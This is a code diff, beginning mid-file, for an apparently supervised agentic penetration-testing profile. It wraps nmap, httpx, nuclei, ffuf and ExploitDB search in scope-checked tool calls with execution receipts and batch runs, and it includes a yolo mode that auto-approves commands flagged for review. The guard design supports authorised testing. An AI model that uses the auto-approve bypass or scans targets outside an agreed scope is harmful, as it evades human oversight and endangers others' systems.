False}, + }, + "required": ["scope", "phase"], + }, +} + +EXEC_STATUS_SCHEMA = { + "description": "Read the receipt for an execution owned by this engagement.", + "parameters": { + "type": "object", + "properties": { + "eng_dir": {"type": "string"}, + "execution_id": {"type": "string"}, + }, + "required": ["eng_dir", "execution_id"], + "additionalProperties": False, + }, +} + +EXEC_CANCEL_SCHEMA = { + "description": "Cancel only the exact tracked process group for a running execution.", + "parameters": EXEC_STATUS_SCHEMA["parameters"], +} + +SEARCH_EXPLOIT_SCHEMA = { + "description": "Search the local ExploitDB index without downloading or executing candidates.", + "parameters": { + "type": "object", + "properties": { + "product": {"type": "string"}, + "version": {"type": "string"}, + "service": {"type": "string"}, + "cve": {"type": "string"}, + }, + "additionalProperties": False, + }, +} + +_ADAPTER_COMMON = { + "eng_dir": {"type": "string"}, + "scope": {"type": "string"}, + "phase": {"type": "string"}, + "target": {"type": "string"}, + "session_id": {"type": "string"}, + "skill_loaded_file": {"type": "string"}, + "backend": {"type": "string", "enum": ["local", "docker"], "default": "local"}, + "timeout_seconds": {"type": "integer", "minimum": 1, "maximum": 1800}, + "cwd": {"type": "string"}, + "label": {"type": "string"}, + "extra_args": {"type": "array", "items": {"type": "string"}, "maxItems": 20}, +} + +NMAP_SCHEMA = { + "description": "Run a typed, scope-checked nmap scan through violin_exec.", + "parameters": { + "type": "object", + "properties": { + **_ADAPTER_COMMON, + "scan_type": {"type": "string", "enum": ["-sV", "-sC", "-sCV", "-sn", "-Pn"]}, + "ports": {"type": "string"}, + }, + "required": ["eng_dir", "scope", "phase", "target"], + "additionalProperties": False, + }, +} + +HTTPX_SCHEMA = { + "description": "Run typed HTTP probing through violin_exec.", + "parameters": { + "type": "object", + "properties": _ADAPTER_COMMON, + "required": ["eng_dir", "scope", "phase", "target"], + "additionalProperties": False, + }, +} + +NUCLEI_SCHEMA = { + "description": "Run a typed nuclei scan through violin_exec; scanner output remains unconfirmed evidence.", + "parameters": { + "type": "object", + "properties": { + **_ADAPTER_COMMON, + "templates": {"type": "string"}, + "severity": {"type": "string"}, + }, + "required": ["eng_dir", "scope", "phase", "target"], + "additionalProperties": False, + }, +} + +FFUF_SCHEMA = { + "description": "Run typed ffuf content discovery through violin_exec.", + "parameters": { + "type": "object", + "properties": { + **_ADAPTER_COMMON, + "url": {"type": "string"}, + "wordlist": {"type": "string"}, + "headers": {"type": "array", "items": {"type": "string"}}, + }, + "required": ["eng_dir", "scope", "phase", "url", "wordlist"], + "additionalProperties": False, + }, +} + +TARGET_SCHEMA = { + "name": "violin_target", + "description": "Resolve the canonical in-scope target for the engagement from scope.yaml (kills hardcoded-IP fragility: a box reset just edits scope.yaml, not every command in history). Query by --host (in-scope IP/CIDR) or --role (named role from scope.yaml targets.roles, e.g. 'web'). Returns the ip/url/host field. The agent should run THIS to get the target, then interpolate the result into the actual command instead of hardcoding an IP.", + "parameters": { + "type": "object", + "properties": { + "eng_dir": { + "type": "string", + "description": "engagement dir (required; target resolution is engagement-scoped)", + }, + "scope": { + "type": "string", + "description": "explicit scope.yaml path (else $ENG_DIR/scope/scope.yaml)", + }, + "host": {"type": "string", "description": "in-scope IP/CIDR to resolve"}, + "role": { + "type": "string", + "description": "named role from scope.yaml targets.roles (e.g. web)", + }, + "field": { + "type": "string", + "enum": ["ip", "url", "host"], + "description": "what to print (default ip)", + }, + }, + "required": ["eng_dir"], + }, +} + +STATUS_SCHEMA = { + "name": "violin_status", + "description": "One-shot engagement health read: bootstrap completeness, skill-load freshness, pending doc-sync, heartbeat-pending, sync credit remaining, and command/message counts. Consolidates violin_check_bootstrap + violin_check_skill_loaded + violin_sync_done + violin_message_tick into a single read-only call so the agent can poll engagement state without burning four tool calls. Mutates no state.", + "parameters": { + "type": "object", + "properties": { + "eng_dir": { + "type": "string", + "description": "engagement dir ($ENG_DIR / $VIOLIN_ENG_ROOT env also honoured)", + }, + "skill_loaded_file": { + "type": "string", + "description": "explicit skill-load marker path (else $ENG_DIR/.skill-loaded)", + }, + }, + "required": [], + "additionalProperties": False, + }, +} diff --git a/plugins/violin_guard/tools.py b/plugins/violin_guard/tools.py index 7f1380f..d1faf87 100644 --- a/plugins/violin_guard/tools.py +++ b/plugins/violin_guard/tools.py @@ -5,11 +5,16 @@ specifically the enforced ``check-command`` path plus the ``sync-done`` / ``heartbeat-done`` / ``message-tick`` subcommands. The plugin is a thin JSON adapter over that CLI — no gate logic is duplicated here. """ + from __future__ import annotations +import argparse import json import os -from . import utils +import tempfile +from pathlib import Path + +from . import adapters, executor, utils def _auto_approve() -> bool: @@ -23,11 +28,25 @@ def _auto_approve() -> bool: """ return os.environ.get("HERMES_YOLO_MODE") == "1" + _TARGET_TOUCHING = {"recon", "vuln-research", "exploitation", "post-exploitation"} def _json(status: str, **payload) -> str: - return json.dumps({"status": status, **payload}, indent=2) + return json.dumps({"schema_version": 2, "status": status, **payload}, indent=2) + + +def _authorize(args: dict): + return utils.run_guard( + "check-command", + scope=args.get("scope"), + eng_dir=args.get("eng_dir"), + phase=args.get("phase"), + command=args.get("command"), + session_id=args.get("session_id"), + skill_loaded_file=args.get("skill_loaded_file"), + defer_state=True, + ) def handle_check_command(args: dict, **kwargs) -> str: @@ -52,32 +71,54 @@ def handle_check_command(args: dict, **kwargs) -> str: def handle_record_ptt(args: dict, **kwargs) -> str: - res = utils.run_guard("record-ptt", eng_dir=args.get("eng_dir"), - id=args.get("id"), status=args.get("status"), - note=args.get("note")) - return _json("ok" if res.returncode == 0 else "error", - exit_code=res.returncode, raw=(res.stdout + res.stderr).strip()) + res = utils.run_guard( + "record-ptt", + eng_dir=args.get("eng_dir"), + id=args.get("id"), + status=args.get("status"), + note=args.get("note"), + ) + return _json( + "ok" if res.returncode == 0 else "error", + exit_code=res.returncode, + raw=(res.stdout + res.stderr).strip(), + ) def handle_record_hypothesis(args: dict, **kwargs) -> str: - res = utils.run_hypothesis_guard("record-hypothesis", eng_dir=args.get("eng_dir"), - service=args.get("service"), port=args.get("port"), - id=args.get("id"), title=args.get("title"), - status=args.get("status"), phase=args.get("phase"), - vuln_class=args.get("vuln_class"), - rationale=args.get("rationale"), - evidence=args.get("evidence")) - return _json("ok" if res.returncode == 0 else "error", - exit_code=res.returncode, raw=(res.stdout + res.stderr).strip()) + res = utils.run_hypothesis_guard( + "record-hypothesis", + eng_dir=args.get("eng_dir"), + service=args.get("service"), + port=args.get("port"), + id=args.get("id"), + title=args.get("title"), + status=args.get("status"), + phase=args.get("phase"), + vuln_class=args.get("vuln_class"), + rationale=args.get("rationale"), + evidence=args.get("evidence"), + ) + return _json( + "ok" if res.returncode == 0 else "error", + exit_code=res.returncode, + raw=(res.stdout + res.stderr).strip(), + ) def handle_record_history(args: dict, **kwargs) -> str: - res = utils.run_guard("record-history", eng_dir=args.get("eng_dir"), - command=args.get("command"), - exit_code=args.get("exit_code"), - phase=args.get("phase")) - return _json("ok" if res.returncode == 0 else "error", - exit_code=res.returncode, raw=(res.stdout + res.stderr).strip()) + res = utils.run_guard( + "record-history", + eng_dir=args.get("eng_dir"), + command=args.get("command"), + exit_code=args.get("exit_code"), + phase=args.get("phase"), + ) + return _json( + "ok" if res.returncode == 0 else "error", + exit_code=res.returncode, + raw=(res.stdout + res.stderr).strip(), + ) def handle_exec(args: dict, **kwargs) -> str: @@ -88,52 +129,345 @@ def handle_exec(args: dict, **kwargs) -> str: and any pending review is cleared. We just translate the CLI's exit code and BLOCK/REVIEW/OK lines into JSON for the tool caller. """ - res = utils.run_guard( - "check-command", - scope=args.get("scope"), - eng_dir=args.get("eng_dir"), - phase=args.get("phase"), - command=args.get("command"), - session_id=args.get("session_id"), - skill_loaded_file=args.get("skill_loaded_file"), - ) + res = _authorize(args) parsed = utils.parse_exit(res) - - # Check if blocked specifically due to pending doc-sync - if res.returncode == 1 and any("prior command's artifacts not synced" in line for line in (res.stdout or "").splitlines()): - return _json("sync_required", command=args.get("command"), phase=args.get("phase"), - review=parsed["review"], raw=parsed["raw"], - hint="Run the command, update ptt.md 'Last updated:' + state/history.md (+ hypotheses.md 'Updated:' in vuln-research/exploitation), then call violin_sync_done.") - - if res.returncode == 0: - return _json("approved", command=args.get("command"), phase=args.get("phase"), - review=parsed["review"], note=parsed["raw"]) + + # Check if blocked specifically due to pending doc-sync / exhausted sync-credit. + sync_markers = ( + "prior command's artifacts not synced", + "sync-credit window exhausted", + "pending_command:", + ) + if res.returncode == 1 and any(marker in (res.stdout or "") for marker in sync_markers): + return _json( + "sync_required", + executed=False, + command=args.get("command"), + phase=args.get("phase"), + review=parsed["review"], + raw=parsed["raw"], + hint="Stop target commands. Reconcile the pending command: state/history.md contains it, state/ptt.md Last updated is fresh, hypotheses.md Updated is fresh for vuln-research/exploitation; then call violin_sync_done.", + ) + + auto_approved = res.returncode == 2 and _auto_approve() + if res.returncode in (0, 2) and (res.returncode == 0 or auto_approved): + try: + execution = executor.execute( + args.get("command") or "", + eng_dir=args.get("eng_dir") or "", + phase=args.get("phase") or "", + backend=args.get("backend", "local"), + timeout_seconds=args.get("timeout_seconds", executor.DEFAULT_TIMEOUT), + cwd=args.get("cwd", ""), + label=args.get("label", ""), + docker_container=os.environ.get("VIOLIN_DOCKER_CONTAINER", "kali-pentest"), + ) + except Exception as exc: # executor failures are not authorization blocks + return _json( + "execution_failed", + executed=False, + authorized=True, + auto_approved=auto_approved, + error=str(exc), + review=parsed["review"], + ) + execution_payload = { + k: v for k, v in execution.items() if k not in {"schema_version", "status"} + } + return _json( + "approved", + authorized=True, + auto_approved=auto_approved, + execution_status=execution["status"], + review=parsed["review"], + **execution_payload, + ) if res.returncode == 2: - if _auto_approve(): - # yolo/auto-approve: warnings-only REVIEW is an approval, so the - # command can actually run instead of being held in a review loop. - return _json("approved", command=args.get("command"), phase=args.get("phase"), - review=parsed["review"], - note="auto-approved under yolo/auto-approve mode (REVIEW items bypassed)") - return _json("review", block=parsed["block"], review=parsed["review"], - raw=parsed["raw"], - hint="Resolve REVIEW items (explicit approval) or call the required sync/heartbeat clear before re-running.") - return _json("denied", block=parsed["block"], review=parsed["review"], raw=parsed["raw"], - hint="Resolve the BLOCK items, then re-call violin_exec.") + return _json( + "review", + block=parsed["block"], + review=parsed["review"], + raw=parsed["raw"], + executed=False, + hint="Resolve REVIEW items (explicit approval) or call the required sync/heartbeat clear before re-running.", + ) + return _json( + "denied", + block=parsed["block"], + review=parsed["review"], + raw=parsed["raw"], + executed=False, + hint="Resolve the BLOCK items, then re-call violin_exec.", + ) def handle_heartbeat_done(args: dict, **kwargs) -> str: res = utils.run_guard("heartbeat-done", eng_dir=args.get("eng_dir")) - return _json("ok" if res.returncode in (0, 2) else "error", raw=(res.stdout + res.stderr).strip()) + return _json( + "ok" if res.returncode in (0, 2) else "error", raw=(res.stdout + res.stderr).strip() + ) def handle_message_tick(args: dict, **kwargs) -> str: res = utils.run_guard("message-tick", eng_dir=args.get("eng_dir")) - return _json("ok" if res.returncode == 0 else "review" if res.returncode == 2 else "error", - raw=(res.stdout + res.stderr).strip()) + return _json( + "ok" if res.returncode == 0 else "review" if res.returncode == 2 else "error", + raw=(res.stdout + res.stderr).strip(), + ) def handle_sync_done(args: dict, **kwargs) -> str: res = utils.run_guard("sync-done", eng_dir=args.get("eng_dir")) - return _json("ok" if res.returncode == 0 else "review" if res.returncode == 2 else "error", - raw=(res.stdout + res.stderr).strip()) + return _json( + "ok" if res.returncode == 0 else "review" if res.returncode == 2 else "error", + raw=(res.stdout + res.stderr).strip(), + ) + + +def _inline_commands_file(commands: list[str]) -> str: + """Materialize inline burst commands for the existing CLI boundary.""" + cleaned = [str(cmd).strip() for cmd in commands if str(cmd).strip()] + if not cleaned: + return "" + fd, path = tempfile.mkstemp(prefix="violin-burst-", suffix=".txt") + with os.fdopen(fd, "w", encoding="utf-8", newline="\n") as f: + f.write("\n".join(cleaned) + "\n") + return path + + +def handle_exec_burst(args: dict, **kwargs) -> str: + """Single-approval burst gate. + + The agent pre-approves a BATCH of target-touching commands. It may pass + either ``commands_file`` (CLI-native) or inline ``commands``; inline + commands are materialized to a temporary newline-delimited file before the + core guard CLI runs. The guard checks every command and arms one sync lock. + """ + commands_path = args.get("commands_file") + temp_path = "" + if not commands_path and args.get("commands"): + temp_path = _inline_commands_file(args.get("commands") or []) + commands_path = temp_path + if not commands_path: + return _json( + "denied", + raw="BLOCK: commands or commands_file is required", + hint="Pass commands=[...] for a batch, or commands_file pointing to newline-delimited commands.", + ) + try: + commands = [ + line.strip() + for line in Path(commands_path).read_text(encoding="utf-8").splitlines() + if line.strip() and not line.lstrip().startswith("#") + ] + authorizations = [] + for command in commands: + item = {**args, "command": command} + res = _authorize(item) + parsed = utils.parse_exit(res) + if res.returncode == 1: + return _json( + "denied", + executed=False, + command=command, + block=parsed["block"], + review=parsed["review"], + raw=parsed["raw"], + ) + if res.returncode == 2 and not _auto_approve(): + return _json( + "review", + executed=False, + command=command, + review=parsed["review"], + raw=parsed["raw"], + ) + authorizations.append((command, res.returncode == 2, parsed["review"])) + results = [] + for command, auto_approved, review in authorizations: + result = executor.execute( + command, + eng_dir=args.get("eng_dir") or "", + phase=args.get("phase") or "", + backend=args.get("backend", "local"), + timeout_seconds=args.get("timeout_seconds", executor.DEFAULT_TIMEOUT), + cwd=args.get("cwd", ""), + label=args.get("label", "burst"), + docker_container=os.environ.get("VIOLIN_DOCKER_CONTAINER", "kali-pentest"), + ) + result["auto_approved"] = auto_approved + result["review"] = review + results.append(result) + if result["exit_code"] != 0 and not args.get("continue_on_error", False): + break + return _json( + "approved", + executed=bool(results), + results=results, + sync_required=bool(results and results[-1]["sync_required"]), + sync_credit_remaining=results[-1]["sync_credit_remaining"] if results else None, + ) + except Exception as exc: + return _json("execution_failed", executed=False, authorized=True, error=str(exc)) + finally: + if temp_path: + Path(temp_path).unlink(missing_ok=True) + + +def handle_exec_status(args: dict, **kwargs) -> str: + try: + return _json( + "ok", + execution=executor.status(args.get("eng_dir") or "", args.get("execution_id") or ""), + ) + except Exception as exc: + return _json("error", error=str(exc)) + + +def handle_exec_cancel(args: dict, **kwargs) -> str: + try: + return _json( + "ok", + execution=executor.cancel(args.get("eng_dir") or "", args.get("execution_id") or ""), + ) + except Exception as exc: + return _json("error", error=str(exc)) + + +def handle_search_exploit(args: dict, **kwargs) -> str: + try: + result = adapters.search_exploit(args) + return _json("ok" if result["available"] else "unavailable", **result) + except Exception as exc: + return _json("error", error=str(exc), candidates=[], executed_candidates=False) + + +def _handle_adapter(tool: str, args: dict) -> str: + backend = args.get("backend", "local") + available, detail = adapters.available( + tool, backend, os.environ.get("VIOLIN_DOCKER_CONTAINER", "kali-pentest") + ) + if not available: + return _json("unavailable", executed=False, tool=tool, detail=detail) + try: + command = adapters.BUILDERS[tool](args) + except Exception as exc: + return _json("error", executed=False, tool=tool, error=str(exc)) + return handle_exec({**args, "command": command, "label": args.get("label") or tool}) + + +def handle_nmap(args: dict, **kwargs) -> str: + return _handle_adapter("nmap", args) + + +def handle_httpx(args: dict, **kwargs) -> str: + return _handle_adapter("httpx", args) + + +def handle_nuclei(args: dict, **kwargs) -> str: + return _handle_adapter("nuclei", args) + + +def handle_ffuf(args: dict, **kwargs) -> str: + return _handle_adapter("ffuf", args) + + +def handle_target(args: dict, **kwargs) -> str: + """Resolve the canonical in-scope target from scope.yaml.""" + res = utils.run_guard( + "target", + eng_dir=args.get("eng_dir"), + scope=args.get("scope"), + host=args.get("host", ""), + role=args.get("role", ""), + field=args.get("field", "ip"), + ) + return _json( + "ok" if res.returncode == 0 else "error", + target=(res.stdout or "").strip(), + raw=(res.stdout + res.stderr).strip(), + ) + + +# --------------------------------------------------------------------------- # +# Consolidated status (replaces check-bootstrap + check-skill-loaded + +# sync-done + message-tick read calls with ONE call). +# --------------------------------------------------------------------------- # +def handle_status(args: dict, **kwargs) -> str: + """One-shot engagement status: bootstrap, skill-load, sync, heartbeat. + + Replaces up to four separate read calls (violin_check_bootstrap, + violin_check_skill_loaded, violin_sync_done, violin_message_tick) with a + single consolidated read, so the agent can poll engagement health without + burning four tool calls. Read-only — no state is mutated. + """ + eng_dir_str = ( + args.get("eng_dir") or os.environ.get("ENG_DIR") or os.environ.get("VIOLIN_ENG_ROOT") or "" + ) + eng_dir_str = str(eng_dir_str) + + # Bootstrap (pure variant, no stdout print). + from guard.bootstrap import bootstrap_status + + boot = bootstrap_status(_status_args(eng_dir_str)) + # Skill-load gate (read-only presence check). + # Default: discover the session-scoped marker like check-command does + # (state/.skill-loaded-*); honour an explicit path if supplied. + from guard.core import CheckResult + + skills_result = CheckResult() + explicit = (args.get("skill_loaded_file") or "").strip() + if explicit: + skill_marker = Path(explicit) + else: + markers = list(Path(eng_dir_str).glob("state/.skill-loaded-*")) if eng_dir_str else [] + skill_marker = markers[0] if markers else None + if skill_marker and skill_marker.is_file(): + skills_result.add_info(f"skill-load marker present: {skill_marker}") + else: + skills_result.add_warning( + "skill load gate: no --skill-loaded-file/--session-id passed; SKILL.md load not verified" + ) + + # Sync / heartbeat state machine (read-only read functions). + pending_sync = utils.has_pending_sync(eng_dir_str) if eng_dir_str else None + heartbeat = utils.has_heartbeat_pending(eng_dir_str) if eng_dir_str else None + sync_credit = utils.sync_credit_remaining(eng_dir_str) if eng_dir_str else 0 + counts = ( + utils.read_counts(eng_dir_str) if eng_dir_str else {"command_count": 0, "message_count": 0} + ) + + problems = ( + list(boot.errors) + + list(boot.warnings) + + list(skills_result.errors) + + list(skills_result.warnings) + ) + status = "ok" if not problems else "review" + return _json( + status, + bootstrap={ + "ok": not (boot.errors or boot.warnings), + "errors": boot.errors, + "warnings": boot.warnings, + }, + skill_loaded={ + "ok": not (skills_result.errors or skills_result.warnings), + "errors": skills_result.errors, + "warnings": skills_result.warnings, + }, + pending_sync=pending_sync, + heartbeat_pending=heartbeat, + sync_credit_remaining=sync_credit, + command_count=counts.get("command_count", 0), + message_count=counts.get("message_count", 0), + problems=problems, + ) + + +def _status_args(eng_dir_str: str): + """Build a minimal argparse.Namespace for the pure bootstrap_status read.""" + ns = argparse.Namespace() + ns.eng_dir = eng_dir_str + ns.auto_repair = False + return ns diff --git a/plugins/violin_guard/utils.py b/plugins/violin_guard/utils.py index 3a75ba7..8056db9 100644 --- a/plugins/violin_guard/utils.py +++ b/plugins/violin_guard/utils.py @@ -5,9 +5,10 @@ The doc-sync / heartbeat / stuck-loop state machine lives in the core guard package (``scripts/guard/sync.py``) and is re-exported here so existing plugin code keeps working without a second copy of the logic. """ + from __future__ import annotations -import json +import os import subprocess import sys from pathlib import Path @@ -22,14 +23,53 @@ if str(_PROFILE_HOME / "scripts") not in sys.path: sys.path.insert(0, str(_PROFILE_HOME / "scripts")) # Single source of truth for the doc-sync / heartbeat / stuck-loop state machine. -from guard.sync import ( # noqa: E402 - COMMAND_INTERVAL, MESSAGE_INTERVAL, RETRY_LIMIT, - artifacts_are_fresh, clear_heartbeat_pending, clear_pending_sync, - has_heartbeat_pending, has_pending_sync, last_ok_check, mark_pending_sync, - record_ok_check, repeat_count, set_heartbeat_pending, tick_command, +from guard.sync import ( # noqa: E402, I001 + _read_counts as read_counts, + COMMAND_INTERVAL, + MAX_BURST_COMMANDS, + MESSAGE_INTERVAL, + RETRY_LIMIT, + artifacts_are_fresh, + clear_heartbeat_pending, + clear_pending_sync, + has_heartbeat_pending, + has_pending_sync, + last_ok_check, + mark_pending_sync, + record_ok_check, + repeat_count, + set_heartbeat_pending, + spend_sync_credit, + sync_credit_remaining, + tick_command, tick_message, ) +__all__ = [ + "COMMAND_INTERVAL", + "MAX_BURST_COMMANDS", + "MESSAGE_INTERVAL", + "RETRY_LIMIT", + "artifacts_are_fresh", + "clear_heartbeat_pending", + "clear_pending_sync", + "has_heartbeat_pending", + "has_pending_sync", + "last_ok_check", + "mark_pending_sync", + "record_ok_check", + "repeat_count", + "set_heartbeat_pending", + "spend_sync_credit", + "sync_credit_remaining", + "tick_command", + "tick_message", + "read_counts", + "run_guard", + "run_hypothesis_guard", + "parse_exit", +] + def run_guard(subcommand: str, **kwargs) -> subprocess.CompletedProcess: """Invoke `violin_guard.py ` with the given CLI flags. @@ -52,8 +92,19 @@ def _run_guard_impl(script: Path, subcommand: str, kwargs: dict) -> subprocess.C continue flag = "--" + key.replace("_", "-") cmd.append(flag) + if isinstance(val, bool): + if not val: + cmd.pop() + continue cmd.append(str(val)) - return subprocess.run(cmd, capture_output=True, text=True) + return subprocess.run( + cmd, + capture_output=True, + text=True, + encoding="utf-8", + errors="replace", + env={**os.environ, "PYTHONIOENCODING": "utf-8"}, + ) def parse_exit(result: subprocess.CompletedProcess) -> dict: @@ -62,11 +113,11 @@ def parse_exit(result: subprocess.CompletedProcess) -> dict: block, review, ok = [], [], [] for line in out.splitlines(): if line.startswith("BLOCK:"): - block.append(line[len("BLOCK:"):].strip()) + block.append(line[len("BLOCK:") :].strip()) elif line.startswith("REVIEW:"): - review.append(line[len("REVIEW:"):].strip()) + review.append(line[len("REVIEW:") :].strip()) elif line.startswith("OK:"): - ok.append(line[len("OK:"):].strip()) + ok.append(line[len("OK:") :].strip()) return { "exit_code": result.returncode, "block": block, diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 0000000..35b64d9 --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,30 @@ +[project] +name = "violin" +version = "1.2.0" +description = "Supervised agentic Hermes penetration-testing profile" +requires-python = ">=3.11" +dependencies = [] + +[dependency-groups] +dev = [ + "pytest>=8.0,<9", + "pyyaml>=6.0,<7", + "ruff>=0.11,<0.12", +] + +[tool.ruff] +target-version = "py311" +line-length = 100 +extend-exclude = ["engagements", ".hermes", ".agents"] + +[tool.ruff.lint] +select = ["E", "F", "W", "I", "UP", "B", "SIM"] +ignore = ["E501"] + +[tool.ruff.lint.per-file-ignores] +"tests/**/*.py" = ["S101"] + +[tool.ruff.format] +quote-style = "double" +indent-style = "space" +line-ending = "lf" diff --git a/scripts/guard/bootstrap.py b/scripts/guard/bootstrap.py index 5404d26..427b41b 100644 --- a/scripts/guard/bootstrap.py +++ b/scripts/guard/bootstrap.py @@ -12,16 +12,18 @@ import re import shutil from pathlib import Path -from guard.core import CheckResult, ROOT +import yaml + +from guard.core import ROOT, CheckResult # Map of required file path (relative to eng_dir) -> (template path, post-create command). # post_create_cmd None means the template itself is the bootstrap content; otherwise we # initialise the file with a one-liner (e.g. history.md needs `# Command History — date`). _REPAIR_TARGETS = { - Path("scope/scope.yaml"): ("skills/pentest/templates/scope-template.yaml", None), - Path("state/ptt.md"): ("skills/pentest/templates/ptt.md", None), - Path("hypotheses.md"): ("skills/pentest/templates/hypothesis-board.md", None), - Path("state/history.md"): (None, "# Command History — repair placeholder\n"), + Path("scope/scope.yaml"): ("skills/pentest/templates/scope-template.yaml", None), + Path("state/ptt.md"): ("skills/pentest/templates/ptt.md", None), + Path("hypotheses.md"): ("skills/pentest/templates/hypothesis-board.md", None), + Path("state/history.md"): (None, "# Command History — repair placeholder\n"), } # Host/IP extraction from an engagement directory name of the form @@ -64,7 +66,6 @@ def init_engagement(eng_dir: Path, host: str | None = None) -> int: content = src.read_text(encoding="utf-8") if rel == Path("scope/scope.yaml"): # Pre-fill the in-scope target so the scope is guard-clean. - import yaml data = yaml.safe_load(content) data["targets"]["ip_addresses"] = [host] data["engagement"]["date"] = _dt.date.today().isoformat() @@ -73,8 +74,7 @@ def init_engagement(eng_dir: Path, host: str | None = None) -> int: # stamp it touched so the bootstrap stale-PTT REVIEW doesn't fire # on a brand-new engagement. if rel == Path("state/ptt.md"): - import re as _re - content = _re.sub( + content = re.sub( r"\*Last updated:.*\*", f"*Last updated: {_dt.datetime.now().strftime('%Y-%m-%d %H:%M')}*", content, @@ -103,10 +103,10 @@ def check_skill_loaded(args: argparse.Namespace) -> int: - explicit ``--skill-loaded-file`` if provided - otherwise ``$ENG_DIR/state/.skill-loaded-`` - The marker must be recreated after session boundaries that invalidate - in-context knowledge: ``/new``, ``/goal set``, and context compression. + The marker must be recreated after workflow boundaries that invalidate + in-context knowledge: ``/goal set``, context compression, or explicit + state reload in the current session. Do not request ``/new`` for recovery. """ - from guard.core import ROOT result = CheckResult() eng_dir = Path(args.eng_dir or "") @@ -123,7 +123,9 @@ def check_skill_loaded(args: argparse.Namespace) -> int: marker = Path(explicit) if explicit else (eng_dir / "state" / f".skill-loaded-{session_id}") try: marker.parent.mkdir(parents=True, exist_ok=True) - marker.write_text(f"skill-loaded: skills/pentest/SKILL.md\nsession: {session_id}\n", encoding="utf-8") + marker.write_text( + f"skill-loaded: skills/pentest/SKILL.md\nsession: {session_id}\n", encoding="utf-8" + ) except Exception as exc: # noqa: BLE001 - filesystem write should be explicit result.add_error(f"failed to write skill-loaded marker: {exc}") result.print() @@ -134,27 +136,35 @@ def check_skill_loaded(args: argparse.Namespace) -> int: def check_bootstrap(args: argparse.Namespace) -> int: - """Verify engagement bootstrap is complete. + """Verify engagement bootstrap is complete (prints the report). - Required artifacts (all must exist and be non-empty): + See :func:`bootstrap_status` for the pure, non-printing variant used by the + ``violin_status`` plugin tool. + """ + result = bootstrap_status(args) + result.print() + if result.errors: + return 1 + if result.warnings: + return 2 + return 0 - - $ENG_DIR/ directory exists - - $ENG_DIR/scope/scope.yaml scope file present and parseable - - $ENG_DIR/state/ptt.md Pentesting Task Tree present - - $ENG_DIR/hypotheses.md hypothesis board present - - $ENG_DIR/state/history.md command history initialised - Exit codes: - 0 = bootstrap complete - 1 = bootstrap missing (one or more required artifacts absent) - 2 = bootstrap partial (artifacts present but invalid) +def bootstrap_status(args: argparse.Namespace) -> CheckResult: + """Pure bootstrap check: returns a :class:`CheckResult` without printing. + + Exit codes implied by the result: 0 = complete, 1 = missing (error), + 2 = partial (warning). Auto-repair is applied only when + ``getattr(args, "auto_repair", False)`` is set. """ from guard.record import _ptt_is_stale result = CheckResult() eng_dir_raw = args.eng_dir or "" if not eng_dir_raw: - result.add_error("BOOTSTRAP REQUIRED: --eng-dir is empty (export ENG_DIR or pass --eng-dir)") + result.add_error( + "BOOTSTRAP REQUIRED: --eng-dir is empty (export ENG_DIR or pass --eng-dir)" + ) eng_dir = Path(eng_dir_raw) required = [ @@ -176,33 +186,46 @@ def check_bootstrap(args: argparse.Namespace) -> int: # bootstrap with a precise, recoverable error. Skipped for the # engagement root itself, which is supposed to be a directory. template = ( - "hypothesis-board.md" if path.name == "hypotheses.md" - else "ptt.md" if path.name == "ptt.md" - else "history.md" if path.name == "history.md" + "hypothesis-board.md" + if path.name == "hypotheses.md" + else "ptt.md" + if path.name == "ptt.md" + else "history.md" + if path.name == "history.md" else "scope-template.yaml" ) result.add_error( f"BOOTSTRAP CORRUPT: {label} at {path} is a DIRECTORY but must be a FILE. " - f"Fix: rm -rf \"{path}\" && cp skills/pentest/templates/{template} \"{path}\"" + f'Fix: rm -rf "{path}" && cp skills/pentest/templates/{template} "{path}"' ) elif path.is_file() and path.stat().st_size == 0: result.add_warning(f"bootstrap artifact is empty: {path}") if eng_dir_raw and eng_dir.exists() and not (eng_dir / "scope" / "scope.yaml").exists(): - result.add_info("create the scope with: cp skills/pentest/templates/scope-template.yaml /scope/scope.yaml") + result.add_info( + "create the scope with: cp skills/pentest/templates/scope-template.yaml /scope/scope.yaml" + ) if eng_dir_raw and eng_dir.exists() and not (eng_dir / "state" / "ptt.md").exists(): - result.add_info("create the PTT with: cp skills/pentest/templates/ptt.md /state/ptt.md") + result.add_info( + "create the PTT with: cp skills/pentest/templates/ptt.md /state/ptt.md" + ) if eng_dir_raw and eng_dir.exists() and not (eng_dir / "hypotheses.md").exists(): - result.add_info("create the hypothesis board with: cp skills/pentest/templates/hypothesis-board.md /hypotheses.md") + result.add_info( + "create the hypothesis board with: cp skills/pentest/templates/hypothesis-board.md /hypotheses.md" + ) if eng_dir_raw and eng_dir.exists() and not (eng_dir / "state" / "history.md").exists(): - result.add_info("initialise command history with: echo \"# Command History — $(date +%F)\" > /state/history.md") + result.add_info( + 'initialise command history with: echo "# Command History — $(date +%F)" > /state/history.md' + ) # Stale-PTT drift detection at session resume: if every PT-XXX row is still # in the pristine [ ] state, the engagement was not touched since bootstrap. if eng_dir_raw and eng_dir.exists(): ptt_check = eng_dir / "state" / "ptt.md" if ptt_check.exists() and _ptt_is_stale(ptt_check): - result.add_warning("PTT has never been updated (all PT-XXX rows are [ ]); possible drift at session resume") + result.add_warning( + "PTT has never been updated (all PT-XXX rows are [ ]); possible drift at session resume" + ) # Auto-repair pass (only when --auto-repair is passed, so the default check # stays strict): heal bootstrap drift. Two classes are healed: @@ -217,12 +240,7 @@ def check_bootstrap(args: argparse.Namespace) -> int: if not result.errors and not result.warnings: result.add_info(f"bootstrap complete: {eng_dir}") - result.print() - if result.errors: - return 1 - if result.warnings: - return 2 - return 0 + return result def _auto_repair_corrupt_artifacts(eng_dir: Path, result: CheckResult) -> CheckResult: @@ -255,9 +273,7 @@ def _auto_repair_corrupt_artifacts(eng_dir: Path, result: CheckResult) -> CheckR f"from {template_rel or 'inline placeholder'}" ) except Exception as exc: # noqa: BLE001 - new_errors.append( - f"AUTO-REPAIR FAILED for {rel} at {target}: {exc}" - ) + new_errors.append(f"AUTO-REPAIR FAILED for {rel} at {target}: {exc}") continue if not target.exists(): @@ -266,17 +282,19 @@ def _auto_repair_corrupt_artifacts(eng_dir: Path, result: CheckResult) -> CheckR _create_artifact(eng_dir, rel, template_rel, placeholder) new_infos.append(f"AUTO-REPAIR: created missing {target} from template") except Exception as exc: # noqa: BLE001 - new_errors.append( - f"AUTO-REPAIR FAILED for {rel} at {target}: {exc}" - ) + new_errors.append(f"AUTO-REPAIR FAILED for {rel} at {target}: {exc}") continue # Strip the BOOTSTRAP REQUIRED / CORRUPT errors we just repaired. for 